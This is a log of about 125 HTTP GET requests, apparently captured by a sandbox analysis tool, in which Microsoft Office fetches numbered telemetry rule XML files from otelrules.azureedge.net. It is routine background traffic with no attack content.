Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
